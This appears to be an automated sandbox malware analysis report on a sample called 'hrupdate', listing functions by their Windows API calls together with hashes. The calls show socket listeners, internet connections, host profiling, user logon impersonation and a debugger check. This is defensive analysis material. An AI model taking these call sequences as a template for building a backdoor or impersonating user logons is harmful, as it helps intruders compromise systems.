Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: InternetOption
String ID:
API String ID: 3327645240-0
Opcode ID: 8adcfc63c76cf3dc1a865cfa6544b50dc9ce5b5a0f992eafb0508ee16e71068c
Instruction ID: a4b20cfbf89e73507b038dc5e397a68643cf5f97f0e196604b49e796496d7a2c
Opcode Fuzzy Hash: 8adcfc63c76cf3dc1a865cfa6544b50dc9ce5b5a0f992eafb0508ee16e71068c
Instruction Fuzzy Hash: 0E0186729413257EFA307F74AD05F593B49DB00B69F14541AFE006A1D1CD79F8834A94

Function 030DC085 Relevance: 3.0, APIs: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00040000,00000000,00000000,?,00000004,?), ref: 030DC0A3
RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 030DC0B8

Memory Dump Source

Source File: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_30d0000_hrupdate.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCreate
String ID:
API String ID: 2875408731-0
Opcode ID: a1d591106e10ad5d9a199ab925d8206d06663360d4494dab4b31c1a7f6544c4c
Instruction ID: bd44e0d39c3bb3f05f0b3ebeddbb53e393fec294f036436bc5199bfaa5c12aaa
Opcode Fuzzy Hash: a1d591106e10ad5d9a199ab925d8206d06663360d4494dab4b31c1a7f6544c4c
Instruction Fuzzy Hash: BC1143B8A00209AFDB04CF44D496B9ABBB1FB58354F1081A9ED089B391D771A995CFD0

Function 04FCCD89 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 04FCC902: htonl.WS2_32(04FC389E), ref: 04FCC93C
Part of subcall function 04FCC902: select.WS2_32(00000000,?,?,?,?), ref: 04FCC9A0
Part of subcall function 04FCC902: __WSAFDIsSet.WS2_32(34E85900,?), ref: 04FCC9BC
Part of subcall function 04FCC902: accept.WS2_32(34E85900,00000000,00000000), ref: 04FCC9D1
Part of subcall function 04FCC902: ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 04FCC9E4

GetTickCount.KERNEL32 ref: 04FCCD97

Part of subcall function 04FCCC39: _malloc.LIBCMT ref: 04FCCC5D
Part of subcall function 04FCCC39: htonl.WS2_32(6083960B), ref: 04FCCC89
Part of subcall function 04FCCC39: recvfrom.WS2_32(?,B0C25DAC,000FFFFC,00000000,?,?), ref: 04FCCCB8
Part of subcall function 04FCCC39: WSAGetLastError.WS2_32 ref: 04FCCCC3

GetTickCount.KERNEL32 ref: 04FCCDAA

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTickhtonl$ErrorLast_mallocacceptioctlsocketrecvfromselect
String ID:
API String ID: 597769433-0
Opcode ID: d284ca3aba63543a61d0a22bb563b200ecea94e0c53fa03e175d8a1301e860ed
Instruction ID: d9418c59e8d48752ca377ff6ee06c2bf552969cf93b0e3a9be1a34d57bdcfc76
Opcode Fuzzy Hash: d284ca3aba63543a61d0a22bb563b200ecea94e0c53fa03e175d8a1301e860ed
Instruction Fuzzy Hash: A3D0A992A210AB0AF2013BA4AE008AE2A9A8EC8574739003FE088C3100DD08B80312B2

Function 04FD5ECA Relevance: 1.8, APIs: 1, Instructions: 257COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 04FD5F2C

Part of subcall function 04FEBB50: __calloc_impl.LIBCMT ref: 04FEBB65

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: __calloc_impl_calloc
String ID:
API String ID: 2108883976-0
Opcode ID: 7c819f985e74352b6811e14d1ccb276b403782c48ad41fe43161d66dd956603c
Instruction ID: 1eeca16ef275ccda8f6d265980873dd744f2322eafc59c01ebed7e4eb6f26e73
Opcode Fuzzy Hash: 7c819f985e74352b6811e14d1ccb276b403782c48ad41fe43161d66dd956603c
Instruction Fuzzy Hash: 7EA118B1D00208EFEF219F95CC45EAEBBB6FF89700F14415AF501AA250E7726A91DF61

Function 030DC365 Relevance: 1.6, APIs: 1, Instructions: 136libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,030DBCAB,AAAABBBB,?,?,?,?), ref: 030DC3D6

Memory Dump Source

Source File: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_30d0000_hrupdate.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 52b2a5cd8be6c39a7177695a6cfaf2b078eabeb2ff83b80fc3f6fd0b178b378e
Instruction ID: 2d75b5046121f6625f77991bc7764e22c104bb59cdd9b5514423343e2953c600
Opcode Fuzzy Hash: 52b2a5cd8be6c39a7177695a6cfaf2b078eabeb2ff83b80fc3f6fd0b178b378e
Instruction Fuzzy Hash: 9751D975A0120ADFDF04CF98C490AAEB7B2FF88314F1481A9D915AB355D734AE51CF94

Function 04FC47F4 Relevance: 1.6, APIs: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

InternetConnectA.WININET(0BC9BF25,?,?,00000000,00000000,00000003,00000000,05009668), ref: 04FC48B5

Part of subcall function 04FC9042: _malloc.LIBCMT ref: 04FC9048

Part of subcall function 04FC9042: _malloc.LIBCMT ref: 04FC909F

Part of subcall function 04FC8F1A: _malloc.LIBCMT ref: 04FC8F5B
Part of subcall function 04FC8F1A: _memset.LIBCMT ref: 04FC8F6C
Part of subcall function 04FC8F1A: _memset.LIBCMT ref: 04FC8FB7
Part of subcall function 04FC8F1A: _memset.LIBCMT ref: 04FC900C

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _malloc_memset$ConnectInternet
String ID:
API String ID: 3195992531-0
Opcode ID: 0236395654fbfbadd36c939b480672110834c17f6d3580d5bc5b2c3ddfe2ca0a
Instruction ID: a286d6f29b9b2716c635db30adf3fac5543e923d4c2f0cdd63f5ee4173b29516
Opcode Fuzzy Hash: 0236395654fbfbadd36c939b480672110834c17f6d3580d5bc5b2c3ddfe2ca0a
Instruction Fuzzy Hash: 971186E2A422257AF7603EB66D8AEDB3E0CDF267E4F001428BA0D55182E4B9D515C3F1

Function 04FCE638 Relevance: 1.6, APIs: 1, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32(?), ref: 04FCE6B2

Part of subcall function 04FD05AD: _memset.LIBCMT ref: 04FD05CD

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: DestroyHeap_memset
String ID:
API String ID: 3970643317-0
Opcode ID: 49f5b80df8d1e320068d8619e477928eddce1bac17786b5980fe4157d42e568d
Instruction ID: 9bbcb0687a9fbfd06cf4f27ae27cd0bebe23242d4a3bd94a9dd90a1f8ad338e1
Opcode Fuzzy Hash: 49f5b80df8d1e320068d8619e477928eddce1bac17786b5980fe4157d42e568d
Instruction Fuzzy Hash: 4D11063293421A9FE730AE24DE48FBA7359EF11224F08092DFC5495190FA31F943E695

Function 04FC4770 Relevance: 1.6, APIs: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(?,?,04FC3826,00000000,00000000), ref: 04FC47EB

Part of subcall function 04FC9042: _malloc.LIBCMT ref: 04FC9048

Part of subcall function 04FC9042: _malloc.LIBCMT ref: 04FC909F

Part of subcall function 04FC8F1A: _malloc.LIBCMT ref: 04FC8F5B
Part of subcall function 04FC8F1A: _memset.LIBCMT ref: 04FC8F6C
Part of subcall function 04FC8F1A: _memset.LIBCMT ref: 04FC8FB7
Part of subcall function 04FC8F1A: _memset.LIBCMT ref: 04FC900C

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _malloc_memset$InternetOpen
String ID:
API String ID: 4223322473-0
Opcode ID: daad5e03c772b7b3edb3291a81e634cc0d1b6979eda8028528d5d49bd1705009
Instruction ID: ff9f6b0de012941de3553773af77058454f8a6c2232b494cccc48f79b3f784a1
Opcode Fuzzy Hash: daad5e03c772b7b3edb3291a81e634cc0d1b6979eda8028528d5d49bd1705009
Instruction Fuzzy Hash: 9C01A2A25421667BEB603EB66D88CEB3E1CDF132F4B000028B90D50151E97AD922C2F0

Function 04FD90E8 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FD90EF

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 8b268d33f4da052775c4fac2334838a24dc25074d59de26fffd9e3ff5bde0c3a
Instruction ID: c775b16a8697387b7865ae47420d7045bf0f8e2e668a596293d4bc1759736667
Opcode Fuzzy Hash: 8b268d33f4da052775c4fac2334838a24dc25074d59de26fffd9e3ff5bde0c3a
Instruction Fuzzy Hash: D4E01A722086014FE7288E68F844A06B7E29B85620B24CA3ED09AC7284D634A0824A04

Function 030D0B00 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 030D0B1F

Memory Dump Source

Source File: 00000000.00000002.2943261840.00000000030D0000.00000020.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_30d0000_hrupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3ab698677288094206fdaddb6a5ff155a75b1911f092ad22742264aa959053c2
Instruction ID: df29297d8e3491a32d28598d6daaba1676f7461774cf185ee19f9d2843758eb7
Opcode Fuzzy Hash: 3ab698677288094206fdaddb6a5ff155a75b1911f092ad22742264aa959053c2
Instruction Fuzzy Hash: 6EF030B5906308EBDB04DF54E444A9AB7E9AB4125CF08C164E80D4F642D735EAC4CBC1

Function 04FC8AAE Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(433D8FB7,00000000,04FC398F), ref: 04FC8ACF

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0bd0395a52e0cee161c8cdb2bb47fcbfcc456d4c101e89e47491ac4a4c1c5ce6
Instruction ID: 4773f32c2a5f1964e1bc17737b9cf4538e725b329a344b42d819582bead74734
Opcode Fuzzy Hash: 0bd0395a52e0cee161c8cdb2bb47fcbfcc456d4c101e89e47491ac4a4c1c5ce6
Instruction Fuzzy Hash: B2D0C99550061379EA587B64AE24B8A32489F056B7B24045EF00AD5480DF25E0428162

Non-executed Functions

Function 04FC8839 Relevance: 15.2, APIs: 10, Instructions: 172filetimeCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FC884B

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

_memset.LIBCMT ref: 04FC8857

Part of subcall function 04FC48BF: _malloc.LIBCMT ref: 04FC48C5

Part of subcall function 04FC490F: htonl.WS2_32(00000000), ref: 04FC4915

_strncmp.LIBCMT ref: 04FC88A6
GetCurrentDirectoryA.KERNEL32(00004000,00000000), ref: 04FC88B4

Part of subcall function 04FDD93E: __lock.LIBCMT ref: 04FDD95C
Part of subcall function 04FDD93E: ___sbh_find_block.LIBCMT ref: 04FDD967
Part of subcall function 04FDD93E: ___sbh_free_block.LIBCMT ref: 04FDD976
Part of subcall function 04FDD93E: HeapFree.KERNEL32(00000000,?,04FF85B0,0000000C,04FE0056,00000000,04FF8760,0000000C,04FE0090,?,?,?,04FEB35D,00000004,04FF8A70,0000000C), ref: 04FDD9A6
Part of subcall function 04FDD93E: GetLastError.KERNEL32(?,04FEB35D,00000004,04FF8A70,0000000C,04FE6A28,?,?,00000000,00000000,00000000,?,04FDF5CF,00000001,00000214), ref: 04FDD9B7

FindFirstFileA.KERNEL32(00000000,?), ref: 04FC88E5
GetLastError.KERNEL32 ref: 04FC88F2
FileTimeToSystemTime.KERNEL32(?,?), ref: 04FC893E
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 04FC894E
FindNextFileA.KERNEL32(00000000,00000010), ref: 04FC89E1
FindClose.KERNEL32(00000000), ref: 04FC89F0

Part of subcall function 04FC4A19: _vwprintf.LIBCMT ref: 04FC4A23
Part of subcall function 04FC4A19: _vswprintf_s.LIBCMT ref: 04FC4A47

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Time$FileFind$ErrorHeapLastSystem_malloc$AllocateCloseCurrentDirectoryFirstFreeLocalNextSpecific___sbh_find_block___sbh_free_block__lock_memset_strncmp_vswprintf_s_vwprintfhtonl
String ID:
API String ID: 2804257087-0
Opcode ID: cd8e6ae8cb85695fa7a88b7d3775127947ce7bbfef0c0dc1ba940a595af1e351
Instruction ID: 59d94f4d768991f90ec74cd129cbde6a7d512561654dc57c7afc82428393abfa
Opcode Fuzzy Hash: cd8e6ae8cb85695fa7a88b7d3775127947ce7bbfef0c0dc1ba940a595af1e351
Instruction Fuzzy Hash: 8D5152B2D0012EBBEB10EBE1DD45EFF77BCAF08605F04041AF605E2181FA78A6468765

Function 04FCE544 Relevance: 10.6, APIs: 7, Instructions: 84fileCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FCE551

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

__snprintf.LIBCMT ref: 04FCE562
FindFirstFileA.KERNEL32(00000000,04FC86DC,?,04FCE633,04FC86DC,?,Function_0000565A), ref: 04FCE56F

Part of subcall function 04FDD93E: __lock.LIBCMT ref: 04FDD95C
Part of subcall function 04FDD93E: ___sbh_find_block.LIBCMT ref: 04FDD967
Part of subcall function 04FDD93E: ___sbh_free_block.LIBCMT ref: 04FDD976
Part of subcall function 04FDD93E: HeapFree.KERNEL32(00000000,?,04FF85B0,0000000C,04FE0056,00000000,04FF8760,0000000C,04FE0090,?,?,?,04FEB35D,00000004,04FF8A70,0000000C), ref: 04FDD9A6
Part of subcall function 04FDD93E: GetLastError.KERNEL32(?,04FEB35D,00000004,04FF8A70,0000000C,04FE6A28,?,?,00000000,00000000,00000000,?,04FDF5CF,00000001,00000214), ref: 04FDD9B7

_malloc.LIBCMT ref: 04FCE5AE
__snprintf.LIBCMT ref: 04FCE5C3

Part of subcall function 04FCE507: _malloc.LIBCMT ref: 04FCE512
Part of subcall function 04FCE507: __snprintf.LIBCMT ref: 04FCE526

FindNextFileA.KERNEL32(000000FF,04FC86DC,?,?,?,?,?,?,?), ref: 04FCE5F0
FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 04FCE5FD

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1254174322-0
Opcode ID: 098f97666481b673adfaba5076dea8946913ca4ea0e53f02f221d4b84ebce218
Instruction ID: f7cbdc40f96fd6e4de57315b4d12de9320ab9d9d11eaacf7aaf9a5e9c3e2b5a5
Opcode Fuzzy Hash: 098f97666481b673adfaba5076dea8946913ca4ea0e53f02f221d4b84ebce218
Instruction Fuzzy Hash: 3521A172900208BBEB116F61CD49FAA3B6DEF41264F088418F904A6161EB31AD129B60

Function 04FCBCA3 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF65
Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF75

GetUserNameA.ADVAPI32(?,?), ref: 04FCBD08
GetComputerNameA.KERNEL32(?,?), ref: 04FCBD18
GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,?,?,?,?,?,?,00000000), ref: 04FCBD2C
_strrchr.LIBCMT ref: 04FCBD3B
GetVersionExA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 04FCBD56
__snprintf.LIBCMT ref: 04FCBDCB

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Name$_malloc$ComputerFileModuleUserVersion__snprintf_strrchr
String ID:
API String ID: 1877169212-0
Opcode ID: e81f2fa99571fb02cc575045e4322b2ef0a5479a07b84fa71fbb5204e903a7ff
Instruction ID: 25a8fd0afd80ffe93f4dd93665927dba6eed9c42c148a97017ba8f77ac01576e
Opcode Fuzzy Hash: e81f2fa99571fb02cc575045e4322b2ef0a5479a07b84fa71fbb5204e903a7ff
Instruction Fuzzy Hash: 4C419475C0021ABFEF01AFA1ED49DAE7FB9EF44314F10445DE904AA291DB75BA02DB60

Function 04FCA1AE Relevance: 9.1, APIs: 6, Instructions: 118threadsleepprocessCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(04FF669C,04FF6688,04FC9F20,00000000), ref: 04FCA1F3
GetProcAddress.KERNEL32(00000000), ref: 04FCA1FA

Part of subcall function 04FCA122: _malloc.LIBCMT ref: 04FCA141

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 04FCA229
Thread32First.KERNEL32(00000000,0000001C), ref: 04FCA23E
Thread32Next.KERNEL32(00000000,0000001C), ref: 04FCA286
Sleep.KERNEL32(000000C8,00000004,00000000), ref: 04FCA29D

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Thread32$AddressCreateFirstHandleModuleNextProcSleepSnapshotToolhelp32_malloc
String ID:
API String ID: 147937454-0
Opcode ID: cbcd524baa10e243f19bf4decd4078974110c91559862b2cddd3ab5c345251bc
Instruction ID: 0611301ed696e2a58762521c9654031e3668017107dc49dd8ec0477f6612b7f1
Opcode Fuzzy Hash: cbcd524baa10e243f19bf4decd4078974110c91559862b2cddd3ab5c345251bc
Instruction Fuzzy Hash: C2412E72E0020DBFEF10DFA4DD45AEE7BB9EF04305F144429E605D6150E672BA86CB61

Function 04FCC481 Relevance: 9.1, APIs: 6, Instructions: 68networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 04FCC49E
htons.WS2_32(?), ref: 04FCC4AE
socket.WS2_32(00000002,00000002,00000000), ref: 04FCC4C4
closesocket.WS2_32(00000000), ref: 04FCC4D1
bind.WS2_32(00000000,?,00000010), ref: 04FCC4FF
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 04FCC516

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: bindclosesockethtonlhtonsioctlsocketsocket
String ID:
API String ID: 3910169428-0
Opcode ID: a440109cb3f3cbaf2b046ec6c411158862174b29a3dff282e31dee401a814ae6
Instruction ID: 1ad1bde2b9a88f0670ce9253d49fd43d7704d187f3f614db3d90bc0f123ca187
Opcode Fuzzy Hash: a440109cb3f3cbaf2b046ec6c411158862174b29a3dff282e31dee401a814ae6
Instruction Fuzzy Hash: 8911C472E00219ABE710ABF99D45FBFB7ECDF08329F10852AF614E71C0E67469068765

Function 04FC6BE7 Relevance: 9.1, APIs: 6, Instructions: 68sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FC6BF9
Sleep.KERNEL32(000003E8), ref: 04FC6C69
GetTickCount.KERNEL32 ref: 04FC6C6F
Sleep.KERNEL32(000003E8), ref: 04FC6C82
closesocket.WS2_32(00000000), ref: 04FC6C89
send.WS2_32(00000000,?,?,00000000), ref: 04FC6C9C

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountSleepTick$closesocketsend
String ID:
API String ID: 1472970430-0
Opcode ID: 783b8b804b041c50e23ca35953fc47abd18cb6c04bb3c07269d38fd0b00f78ee
Instruction ID: 90b89be89733316f77b246d1f2c8d72c52f6a8089e4d38cca1481c8e8c4eb915
Opcode Fuzzy Hash: 783b8b804b041c50e23ca35953fc47abd18cb6c04bb3c07269d38fd0b00f78ee
Instruction Fuzzy Hash: 02119372D04219AFFF01AFF5ED818DE7B78EF04324F14052AE225A2190EA75B6429B61

Function 04FCC39F Relevance: 9.1, APIs: 6, Instructions: 54networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 04FCC3B7
htons.WS2_32(?), ref: 04FCC3D3
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 04FCC3EC
closesocket.WS2_32(00000000), ref: 04FCC3F7
bind.WS2_32(00000000,?,00000010), ref: 04FCC405
listen.WS2_32(00000000,?), ref: 04FCC413

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: bindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 1767165869-0
Opcode ID: aab24a4c07277b1ecba86a7f197446d2f929a21d4ef8059e42f56aa311a53510
Instruction ID: c598c21b3d16af02b63c704df1ddd7c7c13157ada06f611c9aa6629a77631f3b
Opcode Fuzzy Hash: aab24a4c07277b1ecba86a7f197446d2f929a21d4ef8059e42f56aa311a53510
Instruction Fuzzy Hash: B5012832A0066A7BDB216FA49D04AFFBB7DDF00710F20010AFA04F2185E730A94383E5

Function 04FE555E Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 04FE936D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04FE9382
UnhandledExceptionFilter.KERNEL32(04FF0C54), ref: 04FE938D
GetCurrentProcess.KERNEL32(C0000409), ref: 04FE93A9
TerminateProcess.KERNEL32(00000000), ref: 04FE93B0

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 2d1bb1e4c2037620ac8cdd82deec0820a59f7e38624e6ee541a0917129dcf7d5
Instruction ID: 3daea983244254d8b54fe394ecdea3198c75b6ec268080920ee4f4646c4234a2
Opcode Fuzzy Hash: 2d1bb1e4c2037620ac8cdd82deec0820a59f7e38624e6ee541a0917129dcf7d5
Instruction Fuzzy Hash: 2821A3B58212299FDB00DF65FC8AA583FF4FB09315F50201AF40987651EFB85982DF55

Function 04FD3FA4 Relevance: 7.5, APIs: 5, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 04FD3FB6
closesocket.WS2_32(00000000), ref: 04FD3FC3
htons.WS2_32(?), ref: 04FD3FD4
bind.WS2_32(00000000,?,00000010), ref: 04FD3FEB
listen.WS2_32(00000000,00000078), ref: 04FD3FFC

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: bindclosesockethtonslistensocket
String ID:
API String ID: 564772725-0
Opcode ID: 7255d02c687d914d9450ce2645396f8a6badeebf803350f266f51b2a60a793d4
Instruction ID: 8df8894221d15653e6474c186257969db43f75eb6256ab7c74b734d4645fbdde
Opcode Fuzzy Hash: 7255d02c687d914d9450ce2645396f8a6badeebf803350f266f51b2a60a793d4
Instruction Fuzzy Hash: 71F0D132D4422976EA143BB46C0AFBE732A9F00328F444700FE31A50D1DAB4B50656A6

Function 04FC7D88 Relevance: 6.1, APIs: 4, Instructions: 98processCOMMON

Download Yara Rule

APIs

CreateProcessWithLogonW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,04FC7FB9,C2E8296A,83FFFFD9,74DEE010,04FC80F0), ref: 04FC7DBA
GetLastError.KERNEL32 ref: 04FC7DCC
_memset.LIBCMT ref: 04FC7E15

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CreateErrorLastLogonProcessWith_memset
String ID:
API String ID: 2584212486-0
Opcode ID: 7226779943ed806f5c8e5e4cf4d5cc54b6c4d004df14bdbacd6dc6eda376a00c
Instruction ID: cd1c698f172810cee14641d577e3998b8d38460b5c26c5254bf81c954b717e36
Opcode Fuzzy Hash: 7226779943ed806f5c8e5e4cf4d5cc54b6c4d004df14bdbacd6dc6eda376a00c
Instruction Fuzzy Hash: B1310577900216EFDB22AF64AC05BA67BADEF49700F184098F945D7111EA75F906CB90

Function 04FD33CB Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 04FD3070: RevertToSelf.ADVAPI32(00000100,04FD3609,00000000,?,?,04FC4B6E,?,00000000,00000000,00000000,00000100,00000100), ref: 04FD3088

LogonUserA.ADVAPI32(?,?,?,00000009,00000003,05009F5C), ref: 04FD33EB
GetLastError.KERNEL32 ref: 04FD33F5

Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF65
Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF75

Part of subcall function 04FC6635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,04FC80F0,?,04FC7F09,04FC80F0,?,00000400), ref: 04FC664B
Part of subcall function 04FC6635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,04FC80F0,04FC7F09,?,04FC7F09,04FC80F0,?,00000400,?,?,?,?,04FC80F0), ref: 04FC6664

Part of subcall function 04FC48BF: _malloc.LIBCMT ref: 04FC48C5

Part of subcall function 04FC4A19: _vwprintf.LIBCMT ref: 04FC4A23
Part of subcall function 04FC4A19: _vswprintf_s.LIBCMT ref: 04FC4A47

Part of subcall function 04FC4A58: _memset.LIBCMT ref: 04FC4A66

ImpersonateLoggedOnUser.ADVAPI32 ref: 04FD340F
GetLastError.KERNEL32 ref: 04FD3419

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _malloc$ByteCharErrorLastMultiUserWide$ImpersonateLoggedLogonRevertSelf_memset_vswprintf_s_vwprintf
